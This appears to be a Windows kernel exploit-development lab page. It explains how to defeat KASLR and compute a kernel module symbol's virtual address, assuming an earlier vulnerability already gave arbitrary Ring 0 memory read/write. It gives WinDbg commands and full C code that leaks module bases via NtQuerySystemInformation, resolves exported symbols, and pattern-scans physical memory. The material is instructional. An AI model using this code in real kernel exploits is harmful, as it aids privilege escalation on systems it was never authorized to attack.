Finding Kernel Symbol VA

Objectives

The purpose of this lab is to bypass KASLR and find the Virtual Address(VA) of Ring 0 module symbol.

Virtual Address of Symbol X in Ring 0

Now that we have derived arbitrary Ring 0 virtual memory read and write primitives, we need to find the VA(now randomized thanks to KASLR) of the Kernel-Mode module symbol that we want to read or modify. This is required for both:
1
1. Ring-0 code execution
2
2. Data/Data Corruption attacks
Copied!
A symbol can be categorized into primarily two types:
1
1. Exported symbol
2
2. Non-exported symbol
Copied!

Algorithm

The generic algorithm for finding the VA of a Ring 0 module symbol is:

Step 1

Load the target module in the local process and retrieve the User-Mode base address of the module. This can be achieved using a Win32API function known as LoadLibraryExA with the flag DONT_RESOLVE_DLL_REFERENCES that tells the LDR subsystem to not call DllMain after load and also instructs the loader to not process the image's IAT and load dependent modules(as the name suggests).
1
HMODULE moduleHandle = LoadLibraryExA(moduleName, NULL, DONT_RESOLVE_DLL_REFERENCES);
Copied!

Step 2

Get the offset to the symbol from the start of the module. Remember that an offset is just a fixed distance between two addresses. In other words, the symbol offset will remain the same on a per-patch/per-build basis even though the base address should be randomized on a per-load basis thanks to ASLR.
Note that this is the step where the variable part of the algorithm lies. In other words, the method for obtaining the symbol offset varies on whether the symbol is exported or not(more on this later).

Step 3

Leak the base Ring 0 VA of the kernel module using one of the many available information leak vulnerabilities to defeat KASLR. Some examples are using Kernel32!EnumDeviceDrivers, Ntdll!NtQuerySystemInformation etc.
KASLR is designed to prevent predicting addresses of some desired kernel memory by randomizing the base address of the kernel image, kernel modules and device drivers on a per-boot basis. It was first introduced in Windows Vista.
In this lab, we are going to be utilizing NtQuerySystemInformation with SystemModuleInformation class to obtain the base address of the Ring 0 module.
Note that we need to be in a Medium-IL context at least to be able to use this API to leak the module base address.
Remember that KASLR is only meant to protect against REMOTE kernel exploits and not LOCAL exploits. This is because it is trivial to retrieve the base address of a kernel module from a Medium-IL/High-IL process as compared to a Low-IL/sandboxed process ergo this cannot be termed as a "true" KASLR bypass.

Step 4

In the final step, we can simply add the symbol offset to the module base VA that we retrieved in the previous step to get the symbol VA.
Here is a visualization of the whole process that might help make this clearer:
Overview of finding kernel module symbol VA

Finding VA of Symbol X in Ring 0

Now that we have discussed the generic algorithm for finding the VA of a kernel module symbol, let's look at the more specific picture both for when the symbol is exported and when it's not.

WinDbg

Here is the command in WinDbg for finding the VA of any kernel module symbol:
1
kd> x <modulename!symbolname>
Copied!
Finding kernel module symbol VA with WinDbg
Note that similar results may also be achieved using another WinDbg command called .formats. Also, note that in case any of these commands are unsuccessful, please try reloading the symbols from Microsoft's symbol server using .reload command.

Exported Symbol

In case the symbol is exported, finding the symbol offset becomes quite easy for us as we can use a Win32API function named GetProcAddress to retrieve the User-Mode address of the function and then subtract the User-Mode base address of the module in the local process to get the symbol offset.
1
LPVOID pSymbol = GetProcAddress(moduleHandle, symbolName);
Copied!

Non-exported Symbol

In case the symbol is non-exported, there are predominantly two routes that we may take to find the VA:
1
1. Hardcoding symbol offset
2
2. Pattern searching
Copied!
The former option may seem easy to implement but it usually comes at the cost of increased maintenance efforts and low scalability among other issues. The reason being that offsets may change frequently from build to build and sometimes even with a software patch released by Microsoft as a fix for a vulnerability.
To overcome the above shortcomings, we are primarily interested in the latter approach i.e. instead of hardcoding the symbol offset, we embed a unique signature that we want to scan for in-memory within a given search range using a Ring 0 PM/VM read primitive and find the symbol offset dynamically. The sole advantage of this approach is based on the fact that we can embed a unique pattern at address that is less susceptible to changes between builds/patches and leverage it to find the offset at runtime.
To find a unique signature, first, we need to disassemble the target routine or dump memory around target VA. In WinDbg this can be achieved using:
1
kd> u <modulename!symbolname>
2
OR
3
kd> dps <modulename!symbolname>
Copied!
After dumping memory, now we need to select an appropriate memory pattern as our target signature. It should be long enough so as to be unique.
Finally, we can check if the signature is unique in our search range using:
1
kd> s -[1]b <modulename> L0X1000000 <signature>
Copied!
Here is a WinDbg screenshot that might help visualize the above procedure:
Finding target signature with WinDbg
Beware of embedding patterns consisting of instructions that have a symbol in them!

Code

Now that we have a basic understanding of the process of finding Ring 0 module symbol VA, let's implement it.
The below piece of code assumes that we have already established an arbitrary physical read by exploiting a vulnerability.
Utils.h
1
// Leak base address of kernel module
2
// Needs Medium-IL context at minimum
3
// ------------------------------------------------------------------------
4
5
LPVOID get_kernel_module_base(LPCSTR moduleName) {
6
// Init some important stuff
7
NTSTATUS status;
8
DWORD returnLength = 0;
9
LPVOID bufferAddress = NULL;
10
SIZE_T bufferSize = 0;
11
PRTL_PROCESS_MODULES pRtlProcessModules;
12
LPVOID baseAddress = NULL;
13
14
// Get length of module list
15
status = NtQuerySystemInformation(SystemModuleInformation, 0, 0, &returnLength);
16
if (status != STATUS_INFO_LENGTH_MISMATCH) {
17
printf("[-] NtQuerySystemInformation1 error: 0x%X\n", status); // [DBG]
18
goto cleanup;
19
}
20
21
// Allocate memory for module list
22
bufferSize = returnLength;
23
status = NtAllocateVirtualMemory(NtCurrentProcess(), &bufferAddress, 0, &bufferSize, MEM_COMMIT, PAGE_READWRITE);
24
if (status != STATUS_SUCCESS) {
25
printf("[-] NtAllocateVirtualMemory error: 0x%X\n", status); // [DBG]
26
goto cleanup;
27
}
28
29
// Get list of loaded modules
30
pRtlProcessModules = (PRTL_PROCESS_MODULES)bufferAddress;
31
status = NtQuerySystemInformation(SystemModuleInformation, pRtlProcessModules, returnLength, NULL);
32
if (status != STATUS_SUCCESS) {
33
printf("[-] NtQuerySystemInformation2 error: 0x%X\n", status); // [DBG]
34
goto cleanup;
35
}
36
37
// Get base address of target module
38
for (int i = 0; i < pRtlProcessModules->NumberOfModules; i++) {
39
if (strcmp((LPSTR)(pRtlProcessModules->Modules[i].FullPathName + pRtlProcessModules->Modules[i].OffsetToFileName), moduleName) == 0) {
40
baseAddress = pRtlProcessModules->Modules[i].ImageBase;
41
}
42
}
43
44
// Cleanup
45
cleanup:
46
if (bufferAddress)
47
NtFreeVirtualMemory(NtCurrentProcess(), &bufferAddress, &bufferSize, MEM_RELEASE);
48
49
return baseAddress;
50
}
51
52
// Get virtual address of exported symbol from kernel module
53
// ------------------------------------------------------------------------
54
55
LPVOID get_kernel_symbol_exported(LPCSTR moduleName, LPCSTR symbolName, DWORD_PTR baseVA) {
56
// Init some important stuff
57
HMODULE moduleHandle = NULL;
58
LPVOID pSymbol = NULL;
59
DWORD_PTR symbolOffset = 0;
60
DWORD_PTR symbolAddress = 0;
61
62
// Load target module in local process - get UM base address of kernel module
63
moduleHandle = LoadLibraryExA(moduleName, NULL, DONT_RESOLVE_DLL_REFERENCES);
64
if (moduleHandle == NULL) {
65
printf("[-] LoadLibraryExA error: 0x%X\n", GetLastError()); // [DBG]
66
goto cleanup;
67
}
68
69
// Find Ring 3 virtual address of kernel module exported function
70
pSymbol = GetProcAddress(moduleHandle, symbolName);
71
if (pSymbol == NULL) {
72
printf("[-] GetProcAddress error: 0x%X\n", GetLastError()); // [DBG]
73
goto cleanup;
74
}
75
76
// Calculate symbol offset
77
symbolOffset = (DWORD_PTR)pSymbol - (DWORD_PTR)moduleHandle;
78
79
// Calculate Ring 0 virtual address of kernel module symbol
80
symbolAddress = baseVA + symbolOffset;
81
82
// Cleanup
83
cleanup:
84
if (moduleHandle)
85
FreeLibrary(moduleHandle);
86
87
return (LPVOID)symbolAddress;
88
}
89
90
// Get virtual address of non-exported kernel module symbol using pattern searching
91
// Ref: https://blog.xpnsec.com/evading-sysmon-dns-monitoring/
92
// ------------------------------------------------------------------------
93
94
LPVOID get_kernel_symbol_pattern(HANDLE deviceHandle, LPSTR pattern, DWORD patternLen, DWORD_PTR baseVA, DWORD_PTR basePA) {
95
// Init some important stuff
96
NTSTATUS status;
97
LPVOID bufferAddress = NULL;
98
SIZE_T bufferSize = 0x1000000;
99
BOOL ret = FALSE;
100
DWORD offset = 0;
101
DWORD_PTR symbolAddress = 0;
102
103
// Allocate memory for buffer
104
status = NtAllocateVirtualMemory(NtCurrentProcess(), &bufferAddress, 0, &bufferSize, MEM_COMMIT, PAGE_READWRITE);
105
if (status != STATUS_SUCCESS) {
106
printf("[-] NtAllocateVirtualMemory error: 0x%X\n", status); // [DBG]
107
goto cleanup;
108
}
109
110
// Read physical memory starting from target kernel module base into buffer
111
ret = read_physical_memory(deviceHandle, basePA, bufferAddress, bufferSize);
112
if (ret == FALSE) {
113
printf("[-] Unable to read Ring 0 physical memory!\n"); // [DBG]
114
goto cleanup;
115
}
116
117
// Search for the pattern in memory
118
// Loop until the pattern is found
119
for (int i = 0; i < bufferSize; i++) {
120
if (*(LPSTR)((LPSTR)bufferAddress + i) == pattern[0] && *(LPSTR)((LPSTR)bufferAddress + i + 1) == pattern[1]) {
121
if (RtlCompareMemory((LPSTR)bufferAddress + i, pattern, patternLen) == patternLen) {
122
// Pattern found!
123
offset = i;
124
break;
125
}
126
}
127
}
128
129
// Check if we found the pattern
130
if (offset == 0) {
131
printf("[-] Unable to find kernel module symbol via pattern search!\n"); // [DBG]
132
goto cleanup;
133
}
134
135
// Calculate virtual address of kernel module symbol
136
symbolAddress = baseVA + offset;
137
138
// Cleanup
139
cleanup:
140
if (bufferAddress)
141
NtFreeVirtualMemory(NtCurrentProcess(), &bufferAddress, &bufferSize, MEM_RELEASE);
142
143
return (LPVOID)symbolAddress;
144
}
Copied!
There's not much to explain in this code snippet since I have taken the effort to comment on every line so as to prevent any confusions.
And here is the output(+ some WinDbgfu to verify our results):
Finding kernel module symbol VA
Note that this test was conducted on a Windows 20H2/2009 box and our results coincide with the values we get with WinDbg.

Links

Credits

Last modified 6mo ago